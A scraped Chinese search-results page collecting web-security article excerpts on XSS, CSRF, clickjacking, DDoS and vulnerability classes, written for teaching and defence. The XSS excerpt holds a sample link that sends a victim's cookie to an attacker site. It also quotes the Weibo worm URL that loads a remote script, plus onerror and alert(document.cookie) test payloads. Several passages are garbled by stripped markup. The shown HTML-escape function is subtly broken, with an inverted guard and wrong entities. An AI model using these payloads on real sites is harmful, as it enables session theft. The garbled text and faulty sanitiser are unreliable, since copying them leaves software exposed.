精华内容
下载资源
问答
  • web安全测试之 xss攻击

    万次阅读 2019-04-19 15:49:06
    web安全测试之 xss攻击 软件测试资源分享| 免费软件测试资料一、 背景知识1、 什么是 XSS 攻击?XSS 攻击: 跨站脚本攻击(Cross Site Scripting) , 为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。 故...

    web安全测试之 xss攻击

    软件测试资源分享| 免费软件测试资料

    一、 背景知识

    1、 什么是 XSS 攻击?

    XSS 攻击: 跨站脚本攻击(Cross Site Scripting) , 为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。 故将跨站脚本攻击缩写为 XSS。 跨站脚本攻击, 是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式, 所以容易被忽略其危害性。 其原理是攻击者在网页中嵌入恶意代码(例如 JavaScript), 当其它用户浏览该网站时, 这段代码会自动执行, 从而达到攻击的目的。 比如这些代码包括HTML 代码和客户端脚本。 对于跨站脚本攻击, 黑客界共识是: 跨站脚本攻击是新型的"缓冲区溢出攻击", 而 JavaScript 是新型的"ShellCode"。XSS 并不限于可见的页面输入, 还有可能是隐藏表单域、 get 请求参数等。

    2、 XSS 攻击的危害:

    盗取用户 Cookie、 破坏页面结构、 导航到恶意网站、 获取浏览器信息、 携带木马等。

    二、 XSS 漏洞的分类

    XSS 漏洞按照攻击利用手法的不同, 有以下三种类型:

    XSS 攻击类似于 SQL 注 入攻击, 攻击之前, 我们先找到一个存在 XSS 漏洞的网站,

    XSS 漏洞分为两种, 一种是 DOM Based XSS 漏洞, 另一种是 Stored XSS 漏洞。 理论上, 所有可输入的地方没有对输入数据进行处理的话, 都会存在XSS 漏洞, 漏洞的危害取决于攻击代码的威力, 攻击代码也不局限于script。

    1、 DOM Based XSS

    DOM Based XSS 是一种基于网页 DOM 结构的攻击, 该攻击特点是中招的人是少数人。

    场景一:

    当我登录

    a.com 后,我发现它的页面某些内容是根据 url 中的一个叫 content 参数直接显示的,猜测它测页面处理可能是这样, 其它语言类似:Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

    XSS

    测试

    页面内容:

    我知道了 Tom 也注册了该网站, 并且知道了他的邮箱(或者其它能接收信息的联系方式), 我

    做 一 个 超 链 接 发 给 他 , 超 链 接 地 址 为 :http://www.a.com?content=

    window.open(“www.b.com?param=”+document.cookie), 当 Tom 点击这个链 接的时

    候(假设他已经登录 a.com), 浏览器就会直接打开 b.com, 并且把 Tom 在 a.com 中的 cookie信息发送到 b.com, b.com 是我 搭建的网站, 当我的网站接收到该信息时, 我就盗取了 Tom在 a.com 的 cookie 信息, cookie 信息中可能存有登录密码, 攻击成功! 这个过程中, 受害者只有Tom 自己。 那当我在浏览器输入 a.com?content=器展示页面内容的过程中, 就会执行我的脚本, 页面输出xss 字样, 这是攻击了我自己, 那我如何攻击别人并且获利呢?

    2、 Stored XSS

    Stored XSS 是存储式 XSS 漏洞, 由于其攻击代码已经存储到服务器上或者数据库中, , 比如发布一篇文章包含恶意代码, 其他用户浏览时将执行恶意脚本, 所以受害者是很多人。

    场景二:

    a.com 可以发文章, 我登录后在 a.com 中发布了一篇文章, 文章中包含了恶意代 码,和 Jack 看到了我发布的文章, 当在查看我的文章时就都中招了, 他们的 cookie 信息都发送到了我的服务 器上, 攻击成功! 这个过程中, 受害者是多个人。Stored XSS 漏洞危害性更大, 危害面更广。

    3、 攻击事例

    2011 年新浪微博的 XSS 攻击就是存储式 XSS 漏洞攻击, 主要是通过未过滤处理的 URL 中的参数来加载攻击者已写好的脚本, 并且使用短链服务将URL 伪装, 然后通过诱人的话题欺骗用户访问该链接后在浏览器运行, 达到攻击的目的。 如将http://163.fm/PxZHoxn 指向http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update。 所以我们应该严防短链接。

    三、 XSS 防御

    我们是在一个矛盾的世界中, 有矛就有盾。 只要我们的代码中不存在漏洞, 攻击者就无从下手, 我们要做一个没有缝的蛋。

    XSS 漏洞修复

    原则: 不相信客户输入的数据

    注意: 攻击代码不一定在中将重要的cookie 标记为 http only, 这样的话 Javascript 中的 document.cookie 语句就不能获取到cookie 了.需要对用户的输入进行处理, 只允许用户输入我们期望的数据, 其它值一概过滤掉。 例如: 年龄的textbox 中, 只允许用户输入数字。 而数字之外的字符都过滤掉。

    对数据进行Html Encode 处理过滤或移除特殊的Html标签, 例如:过滤 JavaScript 事件的标签。 例如 "", "onfocus" 等等。XSS 具体的防御有如下方式:

    1. 输入校验

    对 用户的所有输入数据进行检测, 比如过滤其中的“”、 “/”、 双引号等可能导致脚本注入的特殊字符, 或者过滤“script”、 “javascript”等脚本关键字, 或者对输入数据的长度及格式进行限制等等。 同时, 我们也要考虑用户可能绕开ASCII 码, 使用十六进制编码

    如“”(“>”) 等来输入脚本。 因此, 对用户输入的十六进制编码, 我们也要进行相应的过滤。 只要开发人员能够严格检测每一处交互点, 保证对所有用户可能的输入都进行检测和XSS 过滤, 就能够有效地阻止 XSS 攻击。

    2. 输出编码

    通过前面对 XSS 攻击的分析, 我们可以看到, 之所以会产生 XSS 攻击, 就是因为 Web应用程序将用户的输入直接嵌入到某个页面当中, 作为该页面的 HTML 代 码的一部分。因此, 当Web 应用程序将用户的输入数据输出到目标页面中时, 只要先对这些数据进行编码, 然后再输出到目标页面中。 这样, 如果用户输入一些HTML 的脚本, 也会被当成普通的文字, 而不会成为目标页面HTML 代码的一部分得到执行。

    3. 严防外部的 Javascript

    外部的 Javascript 一旦引入了, 这些脚本就能够操纵你的 HTML 页面, 窃取敏感信息或者发起钓鱼攻击等等。

    四、 如何测试 XSS 漏洞

    方法一: 查看代码, 查找关键的变量, 客户端将数据传送给 Web 服务端一般通过三种方式Querystring, Form 表单, 以及 cookie. 例如在 ASP 的程序中, 通过 Request 对象获取客户端的变量

    strUser = Request.Form(“USER”);

    strID = Request.Cookies(“ID”);%>

    假如变量没有经过 htmlEncode 处理, 那么这个变量就存在一个 XSS 漏洞

    方法二: 准备测试脚本

    "/>alert(document.cookie)alert(document.cookie)

    ck="alert(document.cookie)

    在网页中的 Textbox 或者其他能输入数据的地方, 输入这些测试脚本, 看能不能弹出对话框, 能弹出的话说明存在XSS 漏洞在URL 中查看有那些变量通过 URL 把值传给 Web 服务器, 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行

    方法三

    : 自动化测试 XSS 漏洞

    现在已经有很多

    XSS 扫描工具了。 实现 XSS 自动化测试非常简单, 只需要用HttpWebRequest 类。 把包含 xss 测试脚本。发送给 Web 服务器。 然后查看 HttpWebResponse中, 我们的 XSS 测试脚本是否已经注入进去了。

    五、 HTML Encode

    XSS 之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode 处理。 将其中的"中括号", “单引号”, “引号” 之类的特殊字符进行编码。在C#中已经提供了现成的方法, 只要调用 HttpUtility.HtmlEncode("string ") 就可以了。 (需要引用 System.Web 程序集)Fiddler 中也提供了很方便的工具, 点击 Toolbar 上的"TextWizard" 按钮

    图文来源网络,如有侵权联系删除

    觉得文章不错的话就点赞,转发就更好了

    展开全文
  • Web安全漏洞分类

    千次阅读 2012-10-15 13:54:24
    1.1 Web安全漏洞分类 Web安全漏洞可以分为两类:一类包括平台的安全漏洞,另一类是应用自身的安全漏洞。 1.1.1 Web平台的安全漏洞 Web平台自身的安全漏洞——许多Web应用程序共享的部分,例如Linux、Windows、...


    1.1 Web安全漏洞分类
    Web安全漏洞可以分为两类:一类包括平台的安全漏洞,另一类是应用自身的安全漏洞。

    1.1.1    Web平台的安全漏洞

    Web平台自身的安全漏洞——许多Web应用程序共享的部分,例如Linux、Windows、Apaehe和oraele等。它们扮演着以下角色:

    n           Web服务器   这一部分为用户浏览器提供Web页面。最常用的例子就是Apache和IIS。每种Web服务器都有一系列安全漏洞。

    n           应用服务器    这一部分包括用户操作、解释、提供数据。应用服务器可以是Web服务器的一部分,例如PHP和Apache、ASP.NET和IIS。另一方面,应用服务器可以是物理上独立的服务器,例如Tomcat Servlet引擎。每种Web应用服务器同样有一系列安全漏洞。

    n           数据库    这一部分存储应用所需的全部数据。尽管用户能够与Web和应用服务器交互,但他们通常不能直接访问数据库服务器。大多数情况下,应用务器代理用户和数据库之间的数据,并格式化数据使之能够正确存储。每种数据库服务器也都有一系列安全漏洞。

    Web应用自身的安全漏洞,即Web站点中的编程错误引起的暴露用户的详细息、允许恶意用户执行任意的数据库查询,甚至允许通过远程命令行访问服务。

    1.1.2    web应用程序漏洞

    基于Web的应用程序漏洞是错综复杂的,常见的Web应用程序漏洞有以下大类。

    Ø          跨站点脚本攻击

    XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

    Web页面经常在应用程序的某个地方对用户的输入进行回显。一般在预先设计好的某个特定域中输入纯文本才能被回显,但是HTML并不仅仅支持纯文本,还可以包含多种客户端的脚本代码,以此来完成许多操作,诸如验证表单数据,或者提供动态的用户界面元素。

    Ø          SQL Injection攻击

    SQL命令就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

    SQL命令即为应用系统前端Web和后端数据库之间的接口,使得数据可以传递至Web应用程序,也可以从其中发送出来。很多Web站点都会利用用户输入的参数动态的生成SQL查询要求,攻击通过在URL、表格域,或者其他的输入域中输入自已的SQL命令,以此改变查询属性骗过应用程序,从而可以对数据库进行不受限制的访问。

    Ø          物理路径泄露漏洞

    物理路径泄露,即攻击者可能利用此漏洞得到的信息对系统进行进一步的攻击,提供Web、FTP、SMTP等公共服务器都可能出现物理路径泄露的问题。

    物理路径泄露属于低风险等级缺陷,它的危害一般被描述为“攻击者可以利用此漏洞得到信息,来对系统进一步地攻击”。导致Web服务器路径泄露的原因有很多,可能是Web平台本身、脚本语言解释器、引擎插件、组件、辅助程序等一些原因错误导致的。很多时候Web服务器路径泄露漏洞是由于Web服务器处理用户请求出错导致的,如通过提交一个超长的请求,或者是某个精心构造的特殊请求,或者是请求一个Web服务器上不存在的文件。这些请求都有一个共同特点,那就是被请求的文件肯定属于CGI脚本,而不是静态HTML页面。比如,提交一个不存在的CGI文件请求,或者提交一个没有输出的CGI文件的请求,请求返回结果将会把网站本身所在的物理路径给暴露出来。

    另一种类型的Web服务器路径泄露漏洞是由于Web服务器的某些显示环境变量的程序错误输出了Web服务器的物理路径。

    同时,在Web应用网站开发过程中,程序员没有合理应用编程语言提供的出错处理函数。例如Perl中的“die”函数,如果没有在错误信息后面加上“\n”的话,就很可能会导致物理路径泄露。

    Ø          源代码泄露漏洞

    源代码泄露漏洞的产生是由于输入验证错误引起的。

    以IIS为例,IIS是通过文件扩展名来决定将一个文件内容直接显示出来还是作为脚本执行的。对于ASP文件,如果请求中的扩展名是“.asp”那么IIS可以正确处理。如果将扩展名后面加一个“%81”,IIS将不认为这是一个ASP文件,也就不会执行。但是文件系统会忽略文件名后的“%81”,可以正确找到文件。例如请求URL为:http://www.megamoneycorp.com/getreport.asp?item=Q1-2005.htm,则可以构造URL:http://www.megamoneycorp.com/getreport.asp?item=getreport.asp,以显示源代码。

    Ø          目录遍历漏洞

    目录遍历攻击指的是恶意用户找到受限文件的位置并且浏览或者执行它们。

    Web服务器程序(包括Web应用程序)就是向用户提供包含动态或者静态页面,这些页面都存储在Web服务器中。Web服务器和Web应用程序的作用就是对这些页面进行处理并将其发送到客户机上,同时将正在访问的用户限制在表示Web内容的文件中,而且还需要阻止攻击者浏览和执行Web服务器上的任何其它文件。目录遍历主要使用猜测文件是否存在的方法进行。

    Ø          执行任意命令

    执行任意命令即执行任意操作系统命令,主要包括两种情况:一是通过遍历目录,如二次解码和UNICODE解码漏洞,来执行系统命令;另外一种就是Web服务器把用户提交的请求作为SSI指令解析,因此导致执行任意命令。

    在Web发展的早期,程序员利用C语言或者Perl语言编写Web应用程序,存放于Unix服务器上。这个理念就是编写短小的应用程序,并且将他们连接起来,完成更复杂的功能。在安全方面,当数据被传送到一个不同环境的其他组件中时,会对Web服务器造成很大的安全漏洞,使得攻击变得异常的容易。这种攻击背后的思想就是运行自已输入的命令,而不是按照开发人员预期的那样,执行某个指定的程序。

    攻击这种漏洞的目标是发送到服务器上的操作系统命令或者可执行程序的用户输入。这些输入域的一部分会常出现在应用程序的参数中,这些参数可能是页面中包含的一些被引用的文件,也可能是其他程序的参数。

    Ø          缓冲区溢出漏洞

    缓冲区溢出攻击是指在扰乱具有某些特权运行的程序的功能的前提下,使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root的shell,但不一直是这样的。为了达到这个目的,攻击者必须达到如下的两个目标:(1)在程序的地址空间里安排适当的代码。 (2)通过适当地初始化寄存器和存储器,让程序跳转到我们安排的地址空间执行。由于这类攻击使任何人都有可能取得主机的控制权,所以它代表了一类极其严重的安全威胁。

    缓冲区溢出是针对Web应用最严重的一种攻击,当程序无法检查正在处理的数据输入量时就有可能发生缓冲区溢出问题,如果输入的数据量超过了程序为其分配的内存空间的大小,它就会侵占其他程序堆栈的内存空间,这些内存中原有的其他数据就会被覆盖。大多数情况下,这些被覆盖的数据会导致软件崩溃。

    Ø          拒绝服务攻击

    服务拒绝攻击企图通过使你的服务计算机崩溃或把它压跨来阻止你提供服务Q929230,服务拒绝攻击是最容易实施的攻击行为,主要包括:死亡之ping (ping of death)、泪滴(teardrop)、SYN洪水(SYN flood)、Land攻击、Smurf攻击、 Fraggle攻击、 电子邮件炸弹、畸形消息攻击等。

    拒绝服务攻击思想是,代码的执行总是需要时间的,每次调用函数,或者是由Web服务器或者是由应用程序或者是由数据库,函数执行的过程中总要耗费一定的处理器周期。如果执行过程需要很长的时间,并且操作系统无法将其切换到其他的程序上,服务器就会被束缚在为一个请求进行服务的过程中。

    Ø          CGI漏洞攻击

    CGI 是 Common Gateway Interface 的缩写,是服务器端和用户沟通的程序,使得外部程序能生成HTML、图像或者其他内容,而服务器处理的方式与那些非外部程序生成的HTML、图像或其他内容的处理方式是相同的。

    CGI程序是交互性的,它允许用户把自已的数据按照一定的格式发送给服务器,然后由服务器对其进行解释,之后再把解释的结果传给用户,如果用户提交了一些非正常的数据,那么服务器在解释这些数据时可能会绕过IIS对文件名所作的安全检查,在某些条件下,攻击者可以执行任意系统命令。

    Ø          被破坏的认证和会话管理

    被破坏的认证和会话管理(Broken Authentieation and Session Mangement):授权和会话管理包括处理用户授权和管理激活态的会话的所有方面。

    授权是这个过程的关键方面,但是即使是固有的授权验证也有可能遭到含有漏洞的信任管理功能破坏。这些固有的授权验证包含修改密码、忘记密码、记住密码、账号更新和其它更新功能。在网络中,通常的用户授权包括userID和密码的使用。功能更为强大的授权方法包括基于密码标记或者统计的软件和硬件,但是这种机制对于大多数的网络应用程序而言是一笔无法负担的开销。大多数的账户和会话管理漏洞可能导致对于用户或者系统管理员账号的破坏。开发团队通常会低估设计这些保障网站信任授权和会话管理方案的复杂性,网络应用程序必须建立会话来跟踪每个用户的请求数据流。HTTP并不提供这方面的能力,所以网络应用程序必须自己创建它们。

    Ø          不当异常处理

    不当异常处理(Improper Error Handling)可能给网站带来各种各样的安全问题。最常见的问题就是向用户显示内部出错信息,如果这些出错信息不加选择都展现到用户面前,那么就可能公开了本不应该公开的细节。这些细节可能为攻击者提供网站潜在漏洞的重要线索,并且这类信息也会干扰到正常用户。

    在正常操作时,Web应用程序也会生成一些出错情况,内存不够、空指针异常、系统调用失败、数据库不存在、网络超时等。这些错误必须被一个即定的严密方案正确地处理,从而为用户提供一份有意义的出错信息,为Web应用维护人员提供诊断信息,而不是为攻击者提供有用的信息。有时即使出错信息不能提供过多的细节,出错信息的差异也会把该Web应用是如何工作的这样重要的信息暴露出来:并且暴露了那些出错信息背后的隐含意义。例如,当一个用户试图访问一份他无权访问的文件时,通常出错信息会给出如下提示“访问被拒绝”,这种区别可能会暴露这个文件是否存在,或者这个Web应用的目录结构。

    Ø          不安全的存储

    大多数Web应用程序都需要存储敏感的信息,它们或者将信息存储到数据库中,或者将信息存储到文件系统的某个位置上。通常,人们使用加密技术来保护这些敏感的信息,虽然加密技术已经很容易使用,但是开发人员还是常常在将加密技术和应用程序相结合的时候出错。开发人员可能过高地估计了加密技术所带来的安全度,并且他们不会像留意网站中其它部分的安全那样注意存储部分的安全。经常出错的几个地方包括:

    n         未对关键数据进行加密;

    n         密钥、证书和密码的不安全存放;

    n         在内存中不恰当地保存关键信息;

    n         不当的随机资源;

    n         不当的算法选择;

    n         一种新开发的加密算法;

    n         当密钥更改或者其它必备的维护过程发生时,无法提供最新的技术支持。

    Ø          不安全的配置管理

    Web应用程序服务器的配置对于Web应用程序的安全起到了关键作用。许多应用程序服务器提供了Web应用程序能够使用的服务,例如数据存储、目录服务、邮件、信息处理等等,没有合理配置的服务器很可能导致各种安全问题。

    一般说来,网络开发小组和网站管理小组的工作是各自独立的,Web应用程序的安全要求两者共同努力,并且需要其中的成员都能够保障系统Web应用程序的安全。许多服务器的配置问题妨碍了安全性,它们包括:

    n         服务器软件漏洞或者错误的配置允许列出目录和进行目录遍历;

    n         没必要的缺省、备份或者例子文件;

    n         服务器软件未打补丁的漏洞;

    n         不当的文件和目录访问权限;

    n         没有必要的服务,包括内容管理和远程管理;

    n         使用缺省密码和账号;

    n         被激活的、可以被访问的管理或者调试功能;

    n         使用缺省证书;

    n         通过外部系统的不正确授权;

    n         错误配置的SSL证书和加密设置。

    上述问题一旦被检测出来,可能会被很快攻克并且造成网站的巨大破坏,得逞的攻击也能给网站的备份系统(包括数据库和其它相关的网站)造成很大损害。

    Ø          竞争条件

    竞争条件是指,当由于事件次序异常而造成对同一资源的竞争,从而导致程序无法正常运行时,就会出现“竞争条件”。该漏洞通常为设计问题,典型的有Ptrace漏洞、广泛存在的文件操作时序竞争。

    竞争条件无需介入同一程序的两个部分之间的竞争;如果一个外部的攻击者可以通过意想不到的方式干扰程序,那么就会出现很多安全问题。条件竞争主要针对一些管理服务器而言,这类服务器一般是以system或root身份运行的。当它们需要使用一些临时文件,而在对这些文件进行写操作之前,却没有对文件的属性进行检查,一般可能导致重要系统文件被重写,甚至获得系统控制权。

    Ø          未验证的输入

    Web应用程序一般是根据HTTP请求中用户的输入决定如何响应,攻击者能够利用HTTP请求中的任何一部分,包括URL、请求字符串(Qurey String)、cookie头部、表单项,隐含参数传递代码来发动攻击。

    一些网站使用过滤器过滤掉恶意输入,但是对于输入信息存在着各种各样的编码方式,几乎所有的HTTP输入都可以被表示成多种形式,使用编码技术可以绕过Web应用程序的验证与过滤机制,而且对这种攻击难以防范。很多网络应用程序只在使用了客户端机制来验证输入。但是,客户端的验证机制可以简单的绕过去,这就造成了网络应用程序直接面对那些恶意的输入参数而毫无防备。攻击者可以使用简单的工具例如telnet来生成他们的HTTP请求,他们可以很不在意那些开发人员在客户端预先设置好安全机制。

    Ø          错误的访问控制

    错误的访问控制(Broken Access Control),访问控制有时也被称为授权,是指一个网络应用程序如何将一些对于某些内容和功能的访问权利赋予某些用户而不是其它用户。这种验证通常在授权之后执行,并且管理那些己经授权了的用户允许进行的什么操作。

    展开全文
  • 这是最常见的一种web安全问题。引起这种问题的原因是什么呢?主要是由于不合理的数据引起的。 <div> { content } </div> 一般这样...

    XSS(跨站脚本攻击)

    XSS——Cross site scripting
    这是最常见的一种web安全问题。引起这种问题的原因是什么呢?主要是由于不合理的数据引起的。

    <div>
        { content }
    </div>

    一般这样的页面结构,我们的页面解析出来的期望是这样的。

    <div>
        hello world!
    </div>

    但是这个content的数据是类似这样的:< script>alert(1)< /script>
    我们的页面可能就成为这样的东西

    <div>
        <script>alert(1)</script>
    </div>

    这个会发生什么?

    它会执行这个alert(1),得到一个弹窗;如果这个脚本不是alert(1)呢?如果在这里,我执行的是document.cookie,是不是就得到了用户的cookie的信息了?如果这里再用脚本把这个cookie发送到攻击者的服务器呢?

    XSS攻击可以干什么?

    1. 获取页面中的任何数据。
    2. 获取cookies这样的私密信息。
    3. 劫持前端的逻辑。
    4. 向服务端发送请求。
    5. 也可以把获取的敏感信息发送给攻击者。

    一般什么样的场景下会发生XSS攻击

    • 攻击者得到你的cookie,然后就得到你的登陆状态,可以冒充你发送动态信息,然后你的朋友每个人点击查看你的动态,然后每个人的cookie我都可以劫持,然后进行大量的扩散。
    • 如果网站的表单,我们不进行严格的数据验证,假如我提交的是一个script的脚本,提交过去的代码,你们后台可以进行执行,攻击者完全可以得到你的后台管理网站的cookie以及网站地址,这样我可以做的事情就够多了,比如利用管理人员的权限,做各种各样的事情,比如免费的购物。。

    XSS攻击的分类

    从本质上来说,XSS的攻击,是由不合理的数据引起的。比如用户的url参数注入,不合理的表单提交等。

    XSS的攻击的分类从来源上说,分两类:

    1. 反射性攻击
    2. 存储型攻击

    反射性攻击,攻击的代码主要来源于url的路径参数。

    存储型攻击,攻击的代码主要来源是存储到数据库中的脏数据。

    一个网站中,那些地方是XSS的攻击点。

    • HTML的节点内容。——主要是节点内容不安全,这个内容成为script标签。
    • HTML的属性。——一个比较经典的是onerror事件,主要是下面的一个场景。
    <img src={src} />

    如果这个src的值是这样的"1" onerror='javascript:alert(1);'
    这样其实就造成了img的属性变成如下情况:

    <img src='1' onerror='javascript:alert(111);' />

    这样造成了跨站脚本攻击。

    • JavaScript代码。——主要是从后台获取的数据,里面包含用户的输入信息,如果这个用户的输入的内容是攻击脚本,就会发生XSS攻击。
    • 富文本的xss攻击。——主要使用黑名单和白名单的方式进行防御跨站脚本攻击。

    XSS预防策略

    第一、浏览器本身的防御策略。

    比如会自动拦截路径中包含script脚本的链接,但是目前这样的方式完全不能满足xss攻击的防御。

    这个主要与http的headers中设置的一项属性相关:

    • “X-XSS-Protection”: 0
    • “X-XSS-Protection”: 1

    第二、使用转义的方式进行防御。

    //我们可以对数据进行简单的处理(针对HTML属性以及HTML的content):
    function escape(str){
        if(str) return '';
        str = str.replace(/&/g, '&amp;');
        str = str.replace(/</g, '&lt;');
        str = str.replace(/>/g, '&gt;');
        str = str.replace(/"/g, '&#39;');
        str = str.replace(/'/g, '&#32;');
    }
    //针对JavaScript
    //对数据进行JSON encode.
    var data = 123;
    JSON.stringify(data);
    //针对富文本
    var xssFilter = function(html){
        if(!html) return '';
        var cheerio = require('cheerio');
        var $ = cheerio.load(html);
    
        //白名单——表示我的保留的富文本是什么?
        var whiteList = {
            'img': ['src']
        }
        $('*').each(function(index, elem){
            if(!whiteList[elem.name]){
                $(elem).remove();
                return
            }
    
            for(var att in elem.attribs){
                if(whiteList[elem.name].indexOf(att) === -1){
                    $(elem).attr(att, null);
                }
            }
    
            return $.html();
        })
    }

    第三、使用CSP进行防御XSS攻击。
    CSP:Content-Security-Plicy,内容安全策略。
    用于指定什么内容可以执行。比如用户的输入,我不希望他被执行。

    1. 它是一个headers的头部。规定哪一些来源可以限制。
    2. 比如default-src,如果设置的值为self,那么它只认可自己域名内的文件。

    资料详情如下:
    https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/content_security_policy

    文章github地址:
    https://github.com/liwudi/fronted_notes/blob/master/js/web%E5%AE%89%E5%85%A8%E6%8C%87%E5%8D%97.md

    展开全文
  • 文章目录前端有哪些攻击方式?1. XSS攻击XSS 本质原理XSS分类防御 XSS 攻击如何去检测XSS攻击...【面试篇】寒冬求职之你必须要懂的Web安全 前端有哪些攻击方式? XSS攻击、CSRF攻击、点击劫持 1. XSS攻击 XSS(Cross...


    【面试篇】寒冬求职之你必须要懂的Web安全


    前端有哪些攻击方式?

    XSS攻击、CSRF攻击、点击劫持

    1. XSS攻击

    XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者在目标网站上注入恶意代码,当被攻击者登陆网站时就会执行这些恶意代码,这些脚本可以读取 cookie,session tokens,或者其它敏感的网站信息,对用户进行钓鱼欺诈,甚至发起蠕虫攻击等。

    XSS 本质原理

    XSS 的本质原理是: 恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,利用这些信息冒充用户向网站发起攻击者定义的请求。
    攻击者向有 XSS 漏洞的网站中输入恶意的 HTML 代码,当其它用户浏览该网站时候,该段 HTML 代码会自动执行,从而达到攻击的目的,如盗取用户的 Cookie,破坏页面结构,重定向到其它网站等。

    XSS分类

    根据攻击的来源,XSS攻击可以分为存储型(持久性)反射型(非持久型)DOM型三种。

    防御 XSS 攻击

    防御 XSS 攻击最简单直接的方法就是过滤用户的输入

    1. 如果不需要用户输入 HTML,可以直接对用户的输入进行 HTML 转义
    2. 当用户需要输入 HTML 代码时:更好的方法可能是,将用户的输入使用 HTML 解析库进行解析,获取其中的数据。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。
    如何去检测XSS攻击,怎么知道自己的页面是否存在XSS漏洞?

    1.使用通用 XSS 攻击字串手动检测 XSS 漏洞
    2.使用第三方工具进行扫描:

    • Arachni
    • Mozilla HTTP Observatory
    • w3af

    2. CSRF

    CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
    CSRF 可以简单理解为:攻击者盗用了你的身份,以你的名义发送恶意请求,容易造成个人隐私泄露以及财产安全。

    典型的CSRF攻击流程:

    典型的CSRF攻击流程
    受害者登录A站点,并保留了登录凭证(Cookie)。
    攻击者诱导受害者访问了站点B。
    站点B向站点A发送了一个请求,浏览器会默认携带站点A的Cookie信息。
    站点A接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是无辜的受害者发送的请求。
    站点A以受害者的名义执行了站点B的请求。
    攻击完成,攻击者在受害者不知情的情况下,冒充受害者完成了攻击。

    CSRF的特点

    1.攻击通常在第三方网站发起,如图上的站点B,站点A无法防止攻击发生。
    2.攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;并不会去获取cookie信息(cookie有同源策略)
    3.跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等(来源不明的链接,不要点击)

    如何防范CSRF攻击?

    过滤用户输入的内容不能阻挡 CSRF 攻击,我们需要做的事过滤请求的来源,因为有些请求是合法,有些是非法的,所以 CSRF 防御主要是过滤那些非法伪造的请求来源。

    关键操作只接受 POST 请求

    1. 添加验证码(体验不好)
    2. 判断请求的来源:检测Referer(并不安全,Referer可以被更改)
    3. 使用Token(主流)

    CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开。跟验证码类似,只是用户无感知。

    • 服务端给用户生成一个token,加密后传递给用户
    • 用户在提交请求时,需要携带这个token
    • 服务端验证token是否正确
    1. Samesite Cookie属性

    3. 点击劫持

    点击劫持是指在一个Web页面中隐藏了一个透明的iframe,用外层假页面诱导用户点击,实际上是在隐藏的frame上触发了点击事件进行一些用户不知情的操作。

    典型点击劫持攻击流程

    攻击者构建了一个非常有吸引力的网页
    将被攻击的页面放置在当前页面的 iframe 中
    使用样式将 iframe 叠加到非常有吸引力内容的上方
    将iframe设置为100%透明
    你被诱导点击了网页内容,你以为你点击的是***,而实际上,你成功被攻击了。

    展开全文
  • Web 安全:前端攻击 XSS 深入解析

    千次阅读 2017-12-06 00:00:00
    本文来自作者 肖志华 在 GitChat 上分享 「Web 安全:前端攻击 XSS 深入解析」,「阅读原文」查看交流实录。 「文末高能」 编辑 | 哈比 什么是 XSS 漏洞 XSS 攻击:跨站脚本攻击 (Cross Site ...
  • 通过web应用调用操作系统命令,通过shell命令可以调用操作系统的其它程序,只要有能够调用shell函数的地方就有被攻击的风险。 3.HTTP首部注入 在响应首部加入换行符(HTTP换行符:%0D%0A),设置cookie信息,...
  • 浅谈web安全——XSS攻击

    千次阅读 多人点赞 2019-04-16 13:14:45
    跨站脚本攻击(XSS) 跨站脚本攻击(XSS)是客户端脚本安全的头号大敌,OWASP TOP 10 威胁多...XSS攻击Web攻击中最常见的攻击方法之一,其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,攻击者...
  • 浅谈Web安全-XSS攻击

    千次阅读 2016-04-24 17:25:37
    跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端...
  • Web安全:DDOS攻击的防范

    千次阅读 2019-07-28 21:34:14
    一、DDOS攻击的原理 全程:distributeddenial of service.分布式拒绝服务攻击。 官方解释: 在某一时刻(极小的一个时间区间)向要攻击的目标服务器发起大量的请求...开发过web或者进行过压力测试的人应该都用过压...
  • 浅谈web安全——CSRF攻击

    千次阅读 2019-04-16 13:16:11
    CSRF(cross site request forgery)和 XSS 是两个不同维度上的分类。上述中的XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。 CSRF 的全称是“跨站...
  • Web安全攻防

    千次阅读 多人点赞 2018-04-11 15:39:49
